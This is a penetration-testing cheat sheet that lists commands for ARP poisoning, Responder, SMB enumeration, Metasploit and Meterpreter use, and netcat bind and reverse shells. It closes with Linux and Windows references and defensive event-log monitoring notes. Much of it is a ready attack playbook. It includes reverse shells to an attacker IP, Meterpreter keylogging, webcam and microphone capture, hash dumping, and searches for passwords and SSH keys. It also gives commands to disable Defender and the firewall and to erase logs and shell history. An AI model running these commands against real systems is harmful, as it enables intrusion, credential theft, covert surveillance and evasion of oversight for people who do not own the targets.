ngrep -q -I /pcaps/sample.pcap "SEARCHPHRASE"	:-q only headers & payload
ngrep -q -I /pcaps/sample.pcap "HTTP/1.0"	:should see 1.1&2.0; 1.0 often malware
strings /pcaps/sample.pcap   grep GET	:alternate search
tshark -nr /sample.pcap -Y "http.request.method==GET"	:alternate search

### Pcap Extraction with dsniff

dsniff -p pcapfile -m	:
-----------------------	---

### ARP Poisoning with Ettercap

#### From [pentestmag.com](http://pentestmag.com)

##### Perform MitM

sudo ettercap -G

Click Scan for Hosts (active scan), when finished Hosts menu/Host List

Click "Add to Target" button(s)

Click Mitm menu / Arp Poisoning / Sniff Remote Connection / ok

Start menu / Start Sniffing

##### Hijack Existing Sessions

Start Wireshark and capture on interface, filter ip.src==<target>

---

## *Identifying Vulnerabilities*

---

### **Tools listed under Indenifying Vulnerabilities**

---

Spiderlabs responder, rpcclient, MetaSploit, Scapy

Note for Scapy refer earlier in sheet under IA & ID Vulns: Scapy



---

## *ID Vulns: SpiderLabs Responder*

---

### **SpiderLabs Responder**

```
./Responder.py [options]
./Responder.py -I eth0 -wrf
--version          show program's version number and exit
-h, --help         show this help message and exit
-A, --analyze      Analyze mode. This option allows you to see NBT-NS,
                  BROWSER, LLMNR requests without responding.
-I eth0, --interface=eth0
                  Network interface to use
-b, --basic        Return a Basic HTTP authentication. Default: NTLM
-r, --wredir       Enable answers for netbios wredir suffix queries.
                  Answering to wredir will likely break stuff on the
                  network. Default: False
-d, --NBTNSdomain Enable answers for netbios domain suffix queries.
                  Answering to domain suffixes will likely break stuff
                  on the network. Default: False
-f, --fingerprint This option allows you to fingerprint a host that
                  issued an NBT-NS or LLMNR query.
-w, --wpad         Start the WPAD rogue proxy server. Default value is
                  False
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
                  Upstream HTTP proxy used by the rogue WPAD Proxy for
                  outgoing requests (format: host:port)
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
                  retrieval. This may cause a login prompt. Default:
                  False
--lm              Force LM hashing downgrade for Windows XP/2003 and
                  earlier. Default: False
-v, --verbose      Increase verbosity.
```

---

## *ID Vulns: rpcclient*

---

### **rpcclient: NULL SMB sessions**

---

```
rpcclient -U "" x.x.3.96
Password:
rpcclient $> lsaenumsid
rpcclient $> lookupsids S-1-5-21-2000478354-1708537768-1957994488-501
rpcclient $> lookupnames Administrator

rpcclient $> enumalsgroups
rpcclient $> enumalsgroups builtin      :builtin from prev cmd
rpcclient $> querygroup 0x220          :0x220 from prev cmd
OR
rpcclient $> queryaliasmem builtin 0x220
rpcclient $> lookupsids S-1-.-500      :500's (admins) from prev cmd
```

### **rpcclient: Plundering Windows Account info via authenticated SMB sessions**

---

```
rpcclient -U <username> <WinIPAddr>
rpcclient $> srvinfo                  :Win Machine Version
rpcinfo -p <target>

User/Group Cmds
rpcclient $> enum<tab><tab>           :enumeration commands
rpcclient $> enumdomusers             :enumerate users (shows RIDs)
rpcclient $> querydomaininfo
rpcclient $> enumalsgroups domain      :enumerate domain groups (shows RIDs)
rpcclient $> enumalsgroups builtin     :enumerate builtin groups (shows RIDs)
rpcclient $> lookupnames administrators:enum admin group (shows SIDs)
rpcclient $> lookupnames administrator:enumerate local account (shows SIDs)
rpcclient $> queryuser 500            :query RID, lots of info
rpcclient $> getdompwinfo             :password policy
```

---

## ID Vulns: Metasploit

---

### Basic Commands

/etc/init.d/postgresql start	:MSF service required
/etc/init.d/metasploit start	:MSF service required
update-rc.d postgresql enable	:auto boot postgresql svc
update-rc.d metasploit enable	:auto boot metasploit svc
msfconsole	:starts metasploit-framework
armitage	:3rd party GUI to MSF
help	:help
show exploits	:
show auxiliary	:various tasks, info gather, scan, etc
show payloads	:
show options	:
info	:
setg RHOSTS <ip>; setg THREADS 10	:setg sets global variables
back	:return from auxiliary module
exploit -j	:run exploit in background
jobs	:show running jobs
sessions -l	:show list of sessions
sessions -i <#>	:interact with session
sessions -K	:kill all sessions
background	:send session to background
Cntrl+Z	:exit session and go back to msfconsole

### Meterpreter Commands

help	:summary of commands
exit	:or quit works too
?	:meterpreter full commands
migrate	:migrate to stable process such as lsass
sysinfo	:system name & OS running on
shutdown & reboot	:system running on
reg	:read or write to memory
cd; lcd; pwd; ls; cat; mkdir; rmdir	:basic file system commands
cat	:display content files
download/upload	:move file to/from machine
getpid; getuid; ps; kill; execute	:common process commands
getprivs	:pull as many additional privs as possbl
migrate	:migrate meterpreter to a stabler proc
ipconfig; route	:networking commands
portfwd add -l 1234 -p 4444 -r <SecondTarget>	:set up port forward; first target=proxy
screenshot -p <file.jpg>	:take a screenshot of the victim
idletime	:time GUI has been idle
uictl <enable/disable> <keyboard/mouse>	:don't do during pen tests
webcam_list; webcam_snap	:webcam options
record_mic -d #	:record microphone # of seconds
keyscan_start; keyscan dump; keyscan_stop	:keystroke logger
use priv	:use the ext_server_priv module
getsystem -t 0	:priv escalation 0 tries all - priv mod
hashdump	:dump hashes from SAM - priv mod
run hashdump	:pull hashes from registry
timestomp	:modify date/times - priv mod

### MetaSploit Database Services

hosts	:display info about discovered hosts
hosts -c address,os_flavor	:search for certain properties of hosts
dbnmap 192.168.31.200-254 --top-ports 20	:scan hosts into MSF db w/nmap
services -p 443	:search MSF for machines w/ports open
db_export	:dump contents of database to flat file
creds	:creds collected
loot	:post mods-creds from browser, ssh key..

### MSF Multi/Handler (Accept various incoming connections)

---

```
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
show options
set LHOST 192.168.0.5
set LPORT 443
exploit
```

#### \*then once your listener is set up execute your callback

\*\*alternately you could try to set a payload like "set payload linux/x86/shell/reverse\_tcp", then once you connect background the session (Ctrl+Z), and "sessions -u #" will upgrade your reverse shell to a meterpreter shell. Then sessions -i # to interact with that upgraded session.

### Webdav Vulnerabilities (often poorly configured and easy targets)

---

```
use auxiliary/scanner/http/webdav_scanner      :sets the webdav scanner
show options                                  :parameters required to run this mod
run                                             :run the module
```

### SNMP Enumeration

---

```
search snmp                                     :list exploits & modules
use auxiliary/scanner/snmp/snmp_enum           :select snmp enumeration scan
info                                            :read info about it
show options                                   :parameters required to run this mod
set RHOSTS <ip_range>; set THREADS 10         :set parameters
run                                             :run the module
```

### SMB Version Scanner

---

```
search smb                                     :list exploits & modules
use auxiliary/scanner/smb/smb_version         :select smb version scan
info                                            :read info about it
show options                                   :parameters required to run this mod
set RHOSTS <ip_range>; set THREADS 10         : set parameters
run                                             :run module
```

### MetaSploit PSEXEC (Needs creds & local admin but one of the most commonly used exploits)

---

```
msfconsole                                     :start it up
use exploit/windows/smb/psexec                :select our psexec module
show options, set RHOST, set RPORT, set SMBUser, set SMBPass, set SMBDomain
exploit
*if psexec doesn't work Veil-Catapult is useful is psexec fails
```

### Pop3 Exploit Example

---

```
search pop3                                     :list pop3 exploits & modules
use exploit/windows/pop3/seattlelab_pass      :Seattle Lab Mail 5.5 Example exploit
set PAYLOAD windows/ <tab>                    :show all windows payload options
set PAYLOAD windows/shell_reverse_tcp        :select reverse shell
show options                                   :show parameters needing to be added
set RHOST <remote_ip>; set LHOST <attacker_ip> :set parameters
set LPORT 443
exploit
```

### Meterpreter Reverse\_TCP Payload (favorite & most commonly used)

---

```
use exploit/windows/pop3/seattlelab_pass      :Seattle Lab Mail 5.5 Example exploit
set PAYLOAD windows/met <tab>                :show all windows meterpreter payloads
set PAYLOAD windows/meterpreter/reverse_tcp  :set the meterpreter payload for windows
show options                                   :show parameters needing to be added
exploit
```

```

help :show options once you get shell
sysinfo :queries basic parameters of computer
getuid :permissions of session on machine
search -f *pass*.txt :search file system for passwords file
upload /usr/share/windows-binaries/nc.exe c:\\Users\\Offsec :upload files to target
download c:\\Windows\\system32\\calc.exe /tmp/calc.exe :download file from target
shell :start cmd prompt on victim machine;if
our shell dies we can simply spawn another sessions
ftp 127.0.0.1
exit -y :shut down Meterpreter session

```

### Meterpreter Reverse\_HTTPS Payload

```

use windows/meterpreter/reverse_https :select reverse_https
info :exploit info
use windows/meterpreter/reverse_tcp_allports :Attempts to connect back on all ports -
handy when you're not sure what egress firewall ports are in place

```

### Add Exploits to MetaSploit

```

mkdir -p ~/.msf4/modules/exploits/windows/misc :make new directory
cd ~/.msf4/modules/exploits/windows/misc :enter dir
cp /usr/share/metasploit-framework/modules/exploits/windows/pop3/seattlelab_pass.rb
./vulnserver.rb :copy over an exploit to mod
nano vulnserver.rb :edit exploit with our own
*Change payload space (in our case 800), Target Description, Ret (JMP ESP Address),
Offset, default RPORT, modify original exploit with our shell code
search vulnserver :search for exploit in metasploit
use exploit/windows/misc/vulnserver :set our new exploit
set PAYLOAD windows/meterpreter/reverse_tcp :payload
set LHOST <ip>; set LPORT 443;set RHOST <ip> :set parameters

```

### Resource Files (Automating Exploitation)

```

*Usually keep under /opt/metasploit/msf3/
echo use exploit/windows/smb/ms08_067_netapi > autoexploit.rc
echo set RHOST 192.168.1.155 >> autoexploit.rc
echo set PAYLOAD windows/meterpreter/reverse_tcp >> autoexploit.rc
echo set LHOST 192.168.1.101 >> autoexploit.rc
echo exploit >> autoexploit.rc
msfconsole
resource autoexploit.rc

```

### Post Exploitation

```

search post ... exploit :establish meterpreter session
sysinfo
background :background session
use exploit/windows/local/service_permissions :we want to elevate permissions
show options
set SESSION 2 :set session 2
exploit
sessions -i 2 :enter into session

```

### MetaSploit Port Forwarding

```

use <first_exploit> :set exploit to use
set PAYLOAD windows/meterpreter/bind_tcp :set other variables too
exploit :assume we exploit
background :send to background
route add <2nd_victim_subnet> <netmask> <sid> :add pivot route
use <second_exploit> :prepare exploit for 2nd victim
set RHOST & PAYLOAD :set variables
exploit :pivots exploit through 1st meterpreter

```

---

## General Utilities

---

### Tools listed under general utils

Pico/vi/nano, netcat, ssh, gpg, iptables, process hacker, built in cmd line tools

### Netcat/Ncat

#### Netcat

Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don't support the -e option.

```
# Linux Bind Shell
nc -vlp 5555 -e /bin/bash
nc 192.168.1.101 5555

# Windows Bind Shell
nc.exe -nlvp 4444 -e cmd.exe

# Linux Reverse Shell
nc -lvp 5555
nc 192.168.1.101 5555 -e /bin/bash

# Windows Reverse Shell
nc -lvp 443
nc.exe 192.168.1.101 443 -e cmd.exe

#With -e flag
nc -e /bin/sh ATTACKING-IP 80
/bin/sh | nc ATTACKING-IP 80
```

If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Alt (without -e flag):
rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p
```

#### Ncat

Ncat is a better and more modern version of netcat. One feature it has that netcat does not have is encryption.

```
# Bind Shell
ncat --exec cmd.exe --allow 192.168.1.101 -vn1 5555 --ssl
ncat -v 192.168.1.103 5555 -ssl
```

---

## Appendix: Linux Essentials

---

### Man Pages

Man7.org	:man pages made easy
----------	----------------------

### Linux Search

grep	:search
grep -rnwI '/path/to/somewhere/' -e 'pattern'	:search for files contains specific text
updatedb	:must run before using locate
locate -i <term>	:locate files; -i = case insensitive
which sbd	:searches dirs in \$PATH env
find / -name sbd*	:search for file names starting w/sbd
find / -name sbd* -exec file {} \;	:exe all sbd* files found
find / -iname '*password*'	:recursive, iname=case insensitive name
find -I -name <file> -type *.pdf	:find PDF files
find / -user user1 -size 33c 2>/dev/null	:find a files owned by user 33 bytes, 2>/dev/null cleans irrelevant results
strings data.txt   grep "="	:same as grep -A 1 = data.txt
strings -n [N] grep "term"	:search strings > than N chars(ASCII)
strings -e b grep "term"	:search strings with big endian encoding
strings -e l grep "term"	:search strings w little endian encoding
find / -type f -exec grep -H 'text-to-find-here' {} \;	:search for text
find /home -name .bash_history	:good place to find cmds; . means hidden
.sh_history, .zsh_history, .ksh_history	:alternative shells to bash
find /home -name .bashrc	:often used to config shell or load info
find /home -name .bash_profile	:aslo important to look at
find /home -name .bash_history -type f -exec grep -H 'admin' {} \;	
ls -ls /tmp (or /var/tmp)	:check tmp folder for leftover clues
/etc folder - cron jobs, shadow backups, etc	

#### Search for passwords accidentally typed to shell

```
grep -A 1 passwd .bash_history OR find /home -name .bash_history | grep -A 1 passwd
find /home -name .bash_history -exec grep -A 1 passwd {} \; :passwords typed in shell
find . -name .bash_history -exec grep -A 1 '^passwd' {} \; :passwords typed in shell
```

#### Searching for backups

find . -depth -print   cpio -o > *.cpio	:back up recursively from your location
cpio -i -vd < archive.cpio	:extract the backup
cpio -t < archive.cpio	:list the files of the cpio archive
cat backup   cpio -id /etc/fstab	:same as below, extract one file
cpio -id /etc/fstab < archive.cpio	:extract just fstab file from archive
cpio -i -to-stdout /etc/fstab < backup > fstab	:try if permissions error above
cd /etc/cron.daily	:check cronjobs for clue - dencrypt backup
tar -tvf file.tar	:view TOC for tar archive (.tar)
tar -ztvf file.tar.gz	:view TOC for tar archive (.tar.gz)
tar -zxvf file.tar.gz <file you want>	:extract file from tar archive

### Linux Accounts

useradd -d /home/fred fred	:create user fred
userdel Charlie	:delete user
passwd fred	:change password for user fred
sudo or su -	:elevated privileges
su <user>	:change account to certain user
whoami	:displays current user
id	:details about current user

### Linux File Commands

---

cd <dir>	:move around file system
cd ~	:jump to current account home dir
pwd	:present working directory
ls -la /tmp (or /var/tmp)	:dir/file details;-l details -a shows all
ls -ld /tmp	:show permissions on the -d dir /tmp
mkdir test	:make a directory called test
cp -a /source/. /dest/	:copy all files, atts, hidden, &symlinks
smbclient //<winIp>/c\$ <passwd> -U <user>	:connect to SMB (445)
gedit <file>	:easy to use file editor
head /etc/passwd	:shows start of file
tail -n 2 /etc/passwd	:shows end of file
sort -u	:sort unique lines
shred -f -u <file>	:overwrite/delete file
touch -r <ref_file> <file>	:matches ref_file timestamp
touch -t YYYYMMDDHHSS <file>	:Set file timestamp
file <file>	:file properties
rm -rf <dir>	:force deletion of directory
echo \$PATH	:view your path
which ls	:see where in your PATH a cmd is found
zip -r <zipname.zip> \Directory\*	:create zip
gzip file (bzip2 creates .tbz)	:compress/rename file
gzip -d file.gz	:Decompress file.gz
upx -9 -o out.exe orig.exe	:UPX packs orig.exe
tar cf file.tar files	:Create .tar from files
tar xf file.tar	:Extract .tar
tar czf file.tar.gz files	:Create .tar.gz
tar xzf file.tar.gz	:Extract .tar.gz
tar cjf file.tar.bz2 files	:Create .tar.bz2
tar xjf file.tar.bz2	:Extract .tar.bz2
tar -xvjf backup.tbz	:Decompress .tbz file
bzip2 -dk filename.bz2	:Decompress .bz2 file
cat ./-	:read a file named - (special char)
cat spaces\ in\ filename	:read a file with spaces in name

## Linux Interesting Files

[From rebootuser.com](http://rebootuser.com)

find / -perm -4000 -type f 2>/dev/null	:Find SUID files
find / -uid 0 -perm -4000 -type f 2>/dev/null	:Find SUID files owned by root
find / -perm -2000 -type f 2>/dev/null	:Find GUID files
find / -perm -2 -type f 2>/dev/null	:Find world-writeable files
find / ! -path "/proc/*" -perm -2 -type f -print 2>/dev/null	:Find world-writeable files excluding those in /proc
find / -perm -2 -type d 2>/dev/null	:Find word-writeable directories
find /home -name *.rhosts -print 2>/dev/null	:Find rhost config files
find /home -iname *.plan -exec ls -la {} ; -exec cat {} 2>/dev/null ;	:Find *.plan files, list permissions and cat the file contents
find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null ; -exec cat {} 2>/dev/null ;	:Find hosts.equiv, list permissions and cat the file contents
ls -ahlR /root/	:See if you can access other user
directories to find interesting files	
cat ~/.bash_history	:Show the current users' command history
ls -la ~/.*_history	:Show the current users' history files
ls -la /root/.*_history	:Can we read root's history files
ls -la ~/.ssh/	:Check intrstng ssh files in cur usr dir
find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" 2>/dev/null  xargs -r ls -la	:Find SSH keys/host information
ls -la /usr/sbin/in.*	:Check Configuration of inetd services
grep -l -i pass /var/log/*.log 2>/dev/null	:Check log files for keywords ('pass' in this example) and show positive matches
find /var/log -type f -exec ls -la {} ; 2>/dev/null	:List files in specified directory (/var/log)
find /var/log -name *.log -type f -exec ls -la {} ; 2>/dev/null	:List .log files in specified directory (/var/log)
find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} ; 2>/dev/null	:List .conf files in /etc (recursive 1 level)
ls -la /etc/*.conf	:As above
find / -maxdepth 4 -name *.conf -type f -exec grep -Hn password {} ; 2>/dev/null	:Find



```
.conf files (recursive 4 levels) and output line number where the word 'password' is
located
lsof -i -n :List open files (output will depend on account privileges)
head /var/mail/root :Can we read roots mail
```

### Linux System Info

```
ps aux|less :running processes
bg :run in background
jobs :show programs running in background
fg 1 :move background job to foreground
nbtstat -A <ip> :get hostname for <ip>
id :current username
w :logged on users
who -a :user info
last -a :last users logged on
ps -ef :process listing (top)
uname -a :disk usage (free)
mount :mounted file systems
getent passwd :show list of users
PATH=$PATH:/home/mypath :add to PATH variable
kill <pid> :kills process with <pid>
cat /etc/issue :show OS info
cat /etc/*release* :show OS version info
cat /proc/version :show kernel info
rpm -query -all :installed pkgs (Redhat)
rpm -ivh *.rpm :install rpm (-e=remove)
dpkg -get-selections :installed pkgs (Ubuntu)
dpkg -I *.deb :install DEB (-r=remove)
pkginfo :installed pkgs (Solaris)
which <tscsh/csh/ksh/bash> :show location of executable
chmod 750 <tcsh/csh/ksh> :disabled <shell>, force bash
shutdown -h now :shut down and halt system
reboot :reboot system
```

### Linux Network Commands

```
gedit /etc/network/interfaces;service networking restart :set interface info
ifconfig :networking info
ping :if ping doesn't work try traceroute -T
traceroute -T <ip> :--T uses TCP SYN with dst port 80
traceroute -6 :-6 = IPv6
nslookup <name/ip> :dns query
netstat -ant :TCP connection -anu=udp
netstat -tulpn :Connections with PIDs
netstat -antp|grep sshd :open ssh
lsof -i :established connections
smb://<ip>/share :access Windows share
share user x.x.x.x c$ :mount Windows share
smbclient -U user \\\<ip>\\<share> :SMB connect
ifconfig eth# <ip>/<cidr> :set IP and netmask
ifconfig eth0:1 <ip>/<cidr> :set virtual interface
route add default gw <gw_ip> :set GW
export MAC=xx:xx:xx:xx:xx:xx :change MAC
ifconfig <int> hw ether <MAC> :change MAC
macchanger -m <MAC> <int> :change MAC
iwlist <int> scan :built-in wifi scanner
dig -x <ip> :domain lookup for IP
host <ip> :domain lookup for IP
host -t SRV _<service>_tcp.url.com :domain SRV lookup
dig @ip domain -t AXFR :DNS zone xfer
host -l <domain> <namesvr> :DNS zone xfer
ip xfrm stat list :print existing VPN keys
ip addr add <ip>/<cidr> dev eth0 :adds 'hidden' interface
/var/log/messages|grep DHCP :list DHCP assignments
tcpkill host <ip> and port <port> :block ip:port
echo "1" > /proc/sys/net/ipv4/ip_forward :turn on IP forwarding
```

```
echo "nameserver x.x.x.x" > /etc/resolv.conf :add DNS server
```

### Linux Utility Commands

service <service> start	:start service
service ssh start; netstat -antp   grep sshd	:start service then check to see running
service apache2 start	:start apache web service
/etc/init.d/apache2 restart	:alt method to restart apache svc
echo "Testing testing" > /var/www/index.html	:make web server file to test
update-rc.d <service> enable	:auto enable service on startup
rdesktop <ip>	:RDP (mstsc for linux) to <ip>
scp /tmp/file user@x.x.x/tmp/file	:secure copy (put) file
scp user@<remoteip>:/tmp/file /tmp/file	:secure copy (get) file
passwd <user>	:change user password
rmuser uname	:remove user
script -a <outfile>	:record shell : Cntrl-D stops
apropos <subject>	:find related command
history	:view users command history
! <num>	:executes line # in history
wget	:pull files

### Netcat/Ncat Connections / Bind & Reverse Shells

*Updated version of netcat*

ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl	:ncat listener(replaced netcat)
ncat -v 10.0.0.22 4444 --ssl	:ncat connect to listener

ncat -lvp 4444 -e cmd.exe --allow <ip> --ssl	:attacker listener-ssl
ncat -v <attacker_listener_ip> 4444 --ssl	:victim connects

*Traditional netcat listener/connector*

nc -nlvp 4444	:ncat listener over port 4444
nc -nv <ip of listener> 4444	:ncat connector

*Netcat listener to transfer file*

nc -l -p <port> > bo.txt (victim)	:netcat listener (don't forget firewall)
nc -w 3 <ip> <port> < bo.txt (attacker)	:netcat connect to listener

*Netcat listener to transfer a file*

nc -nlvp 4444 > incoming.exe	:netcat listener for incoming file
nc -nv <ip of listener> 4444 </usr/share/windows-binaries/wget.exe	:send file

*Netcat bind shell (attacker makes connection to victim)*

nc -lvp 4444 -e cmd.exe	:netcat listener to gain cmd line access
nc -vn <listener_ip> 4444	:netcat connector from victim behind FW
ipconfig (access to computer)	

*Netcat reverse shell (victim makes connection to attacker for cmd line)*

nc -nlvp 4444	:netcat listener on attacker
nc -nv <attacker_ip> 4444 -e /bin/bash	:victim reaches out to make connection
id; uname -a (access to computer)	

nc -nv <ip> 25	;HELP	:netcat connect to mail server,see help
nc -nv <ip> 110	;USER bob;PASS bob	:netcat connect to mail server over 110
nc -nv <ip> 143	;USER bob; PASS bob	:netcat connect to mail server over 143

### Linux Cover Your Tracks Commands

echo "" > /varlog/auth.log	:clear auth.log file
echo "" > ~/.bash_history	:clear current user bash history
rm ~/.bash_history -rf	:delete .bash_history file
history -c	:clear current session history
export HISTFILESIZE=0	:set history max lines to 0
export HISTSIZE=0	:set history max commands to 0
unset HISTFILE	:disable history logging (log out after)
kill -9 \$\$	:kills current session

```
ln /dev/null ~/.bash_history -sf :permanently send bash hist to /dev/null
```

### Linux File System Structure

/bin	:user binaries
/boot	:boot-up related files
/dev	:interface for system devices
/etc	:system configuration files
/home	:base directory for user files
/lib	:critical software libraries
/opt	:third party software
/proc	:system and running programs
/root	:home directory of root user
/sbin	:system administrator binaries
/tmp	:temporary files
/usr	:less critical files
/var	:variable system files

### Linux Files

/etc/shadow	:local users' hashes
/etc/passwd	:local users
/etc/group	:local groups
/etc/rc.d	:startup services
/etc/init.d	:service
/etc/hosts	:known hostnames and IPs
/etc/hostname	:full hostname with domain
/etc/network/interfaces	:network configuration
/etc/profile	:system environment variables
/etc/apt/sources.list	:Ubuntu sources list
/etc/resolv.conf	:nameserver configuration
/home/<user>/.bash_history	:bash history (also /root/)
/usr/share/wireshark/manuf	:vendor-MAC lookup
~/.ssh/	:SSH keystore
/var/log/	:system log files (most Linux)
/var/adm	:system log files (Unix)
/var/spool/cron	:list cron files
/etc/cron.daily	:daily cron jobs
/var/log/apache/access.log	:Apache connection log
/etc/fstab	:static file system info

### Linux Shell Essentials

Up/down	:command history
Tab auto complete	:once for unique, twice for non-unique
Cntrl+R then chars	:find recent commands
Cntrl+L	:clear screen
Cntrl+C	:stop current command
clear	:command to clear shell

---

## Appendix: Windows Essentials

---

### Disable Group Policy / Windows Defender / Windows Firewall

---

#### Disable Group Policy

```
cmd
REG add "HKLM\SYSTEM\CurrentControlSet\services\gpsvc" /v Start /t REG_DWORD /d 4 /f
<OR>
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\gpsvc\start :change to "4"
First need to take ownership <cmd would be takeown & icacls>
```

```
Stop Group Policy Client:
net stop gpsvc
```

#### Disable Windows Defender

```
REG add "HKLM\ SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware" /v
Start /t REG_DWORD /d 1 /f :1=disable;0=enable
```

#### Disable Windows Firewall

```
netsh advfirewall set allprofiles state off
```

### Windows Essential Tools

---

Cygwin	:Windows emulator for linux tools
Sysinternals	:several good tools

### Windows Search

---

KEY WORDS: firewall, password, authentication, security, names, finance, e-mail	
strings (Sysinternals)	:search strings(ASCII,big&little endian)
strings -n [N]	:search strings > than N characters
find /i "password"	:Windows command to look for "password"
type *.txt   find /i "string"	:Win command search string w/filetypes
type <file>   findstr <regex>	:Win command for regex query

### Windows System Info

---

whoami	:check who you are running as
set username	:similar to whoami (see current user)
set path	:check current path
net user	:list of local users defined on machine
net user <user> <password> /add (or /del)	:add or delete a user
net localgroup	:local groups created on machine
net localgroup administrators	:users in local admin group
net localgroup administrators <user> /add/del	:add or delete a user to admin group
dir	:view current directory
sc query	:list running services
sc query stat= all	:view all services, not just running
sc config <service_name> start=demand	:set a service so we can manually start
tasklist	:list running processes
taskkill /PID <process_ID>	:kill a running process
nbtstat -A <ip>	:get hostname for ip
netsh advfirewall show allprofiles	:show firewall settings (/? For help)
netsh advfirewall firewall add rule name="name" dir=in action=allow remoteip=<yourip>	
protocol=TCP localport=port	:create an entry in host firewall
netsh advfirewall set all profiles state off	:turn the firewall off
control /name Microsoft.WindowsDefender	:disable Windows Defender
runas /u:<user> cmd.exe	:run cmd prompt as different user

### Windows Remote Commands

---

psexec \\ip -u <user> -p <password> cmd	:Sysintrnls, metaS, or NSE; net use 1st
net use \\ip\share password /u:<domain\user>	:start SMB session w/target; C\$ IPC\$ etc
net use * /del	:drop connections-open can cause issues

```
sc \\ip query :svcs query if SMB session established
```

#### **Windows Network Commands**

---

nslookup <name/ip>	:dns query
ping	:
tracert -6	:-6 for IPv6
netstat -nao	:view network activity
ipconfig	:view network settings
ipconfig /displaydns	:view DNS cache

#### **Windows File Commands**

---

\*renaming .pif hides windows extensions and makes it executable but shows like the first file extension

---

## *Appendix: Incident Response checkCriticalWindowsEventLogs*

---

### **checkCriticalWindowsEventLogs.ps1**

```
# THIS SCRIPT IS PROVIDED "AS IS" WITH NO WARRANTIES OR GUARANTEES OF ANY
# KIND, INCLUDING BUT NOT LIMITED TO MERCHANTABILITY AND/OR FITNESS FOR A
# PARTICULAR PURPOSE. ALL RISKS OF DAMAGE REMAINS WITH THE USER, EVEN IF THE
# AUTHOR, SUPPLIER OR DISTRIBUTOR HAS BEEN ADVISED OF THE POSSIBILITY OF ANY
# SUCH DAMAGE. IF YOUR STATE DOES NOT PERMIT THE COMPLETE LIMITATION OF
# LIABILITY, THEN DO NOT DOWNLOAD OR USE THE SCRIPT. NO TECHNICAL SUPPORT
# WILL BE PROVIDED.
Get-WinEvent -FilterHashtable @{LogName="Security"; ID=4720,4722,4724,4738,4732,1102}
Get-WinEvent -FilterHashtable @{LogName="System";
ID=7030,7045,1056,7045,10000,100001,10100,20001,20002,20003,24576,24577,24579}
Get-WinEvent -FilterHashTable @{LogName="Microsoft-Windows-Windows Firewall With
Advanced Security/Firewall"; ID=2003}
```

---

## Appendix: Audit Policy

---

### Critical Security Control #14

You should focus on the top five critical security controls as your top priorities of effort.

### Log Aggregation

We currently have several syslog servers which forwards to Splunk. The AIX team, Linux team, and PTC team have their own Syslog servers. We have specialized syslog servers ourselves (takes data that should be going through Splunk). We also forward several individual sources to Splunk – like databases, F5, etc. Endpoints are testing being forwarded to Seneca which forwards to Splunk

### Critical Windows Events to Monitor

Malware Archaeology has a really great write-up on how to filter logging and setting it up. Keep in mind Splunk is an expensive license. It goes over auditing the Sexy Six Event IDs plus a few extra.

<https://static1.squarespace.com/static/552092d5e4b0661088167e5c/t/56b36b4d3c44d86cf33341ca/1454598990744/Windows+Splunk+Logging+Cheat+Sheet+v1.1.pdf>

WINDOWS POWERSHELL COMMAND LINE EXECUTION: Event Code 500 will capture when PowerShell is executed logging the command line used.

WINDOWS FIREWALL CHANGES: Event Code 2004 will capture when new firewall rules are added.

SCHEDULE TASKS ADDED: Event Code 106 will capture when a new scheduled task is added.

#### The Sexy Six Event IDs

<https://conf.splunk.com/session/2015/conf2015 MGough MalwareArchaeology SecurityCompliance FindingAdvancedAttacksAnd.pdf>

4688/592 - New Process - Look for the obvious .EXE's cscript.exe, sysprep.exe, nmap.exe, nbtstat.exe, netstat.exe, ssh.exe, psexec.exe, psexecsvc.exe, ipconfig.exe, ping.exe OR powershell.exe (SET, Metasploit) Of course, new odd .exe's. Doesn't give any hashes—sysmon event code 1 gives hashes and additional details; SEC511 says 4688 with command line can often be used to reliably detect most modern post exploitation techniques; Look for length of commands; Also monitor user creation commands like net user ... /add (also event ID 4720) or escalation of privilege commands like net localgroups administrators <user> /add (also event ID 4732)

4624/528 /540 - Some account logged in. What accounts did and what accounts at what times are normal? Attackers who steal local creds and use to move laterall both create 4624, both listed as Logon Type: - the security ID will show domain vs computername - monitor authentication via local creds (Ignore actual domain & NT Authority & Window Manager). Microsoft Security Advisory 2871997 limited ability to pass the hash on local accounts, but RID 500 (local admin) & domain accounts still vulnerable.

5140/560 - A share was accessed. They most likely connected to the C\$ share.

5156 - Windows Firewall Network connection by process. Can see the process connection going to an IP that you can use GEOIP to resolve Country, Region and City. Noisy as it includes all internal connections as well. Event is filtered in favor of event code 3 from sysmon which can be properly filtered

7045/601/7030 - A new service is installed. Static systems don't get new services except at patch time and new installs. Change Management anyone? This is a tell tail sign. 7040 is a change of state of a service, good too. \*Note\* 7045 is an indicator of psexec, a great way to find lateral movement in a windows network - the real psexec will have a service name of PSEXESVC, meterpreter will have a high entropy name, and also SysInternals PsExec generates no errors but Metasploit's generates Event ID 7030.

4663/567 - (NOISY). File auditing must be enabled on directories you want to monitor. The new files above would show up. Yes, there are ways to write to disk without Event logs being triggered in PowerShell and .NET, but this is rare and why monitoring PowerShell is important. Very noisy event and requires a lot of filtering. Still a work in progress, though the Splunk forwarder also performs similar monitoring of registry auto start locations

4657 will give more Registry details.

#### Additional Events To Monitor

106 – scheduled task updated or created. Currently monitored by Splunk using correlation rules  
500 – Not yet receiving, powershell auditing  
2 – Sysmon event generated when file creation times are changed; Get-WinEvent @{LogName="application";ProviderName="EMET"; id=2} shows EMET blocking Malware  
5 – Sysmon event generated when processes are terminated (determine when process attempts to shut down security processes)  
6 – Sysmon event generated when a driver is loaded, used to identify potential root kit installations  
8 – Sysmon event generated when remote threads are created, useful in identify cross-process code injection.  
1056 – RDP/Terminal Services forces creation of a self signed SSL cert  
8003/8006/8004/8007 – AppLocker would have blocked or it did block  
1102 – Audit Log Being Cleared

